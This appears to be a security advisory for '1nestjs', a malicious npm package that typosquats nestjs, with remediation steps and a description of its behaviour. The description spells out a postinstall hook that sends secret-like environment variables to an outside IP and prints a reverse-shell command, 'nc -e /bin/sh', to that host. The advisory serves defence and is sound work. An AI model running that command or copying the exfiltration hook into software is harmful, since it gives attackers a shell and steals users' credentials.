Which versions of 1nestjs are malicious?

The following npm versions of 1nestjs are flagged malicious: 0.0.1. Treat any of these as compromised.

How do I remediate 1nestjs if I installed it?

1nestjs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed 1nestjs — how do I know if it already compromised me?

If 1nestjs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is 1nestjs part of a known attack campaign?

Yes — 1nestjs is associated with the IN-MAL-2026-019473 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find 1nestjs across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for 1nestjs (version 0.0.1).

What this malware does

Package name typosquats nestjs and declares postinstall: node index.js in package.json, so index.js runs automatically during npm install. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes nc -e /bin/sh 84.32.22.44 9999, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot").

The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious.

It is considered malicious because:

The package executes one or more commands associated with malicious behavior.
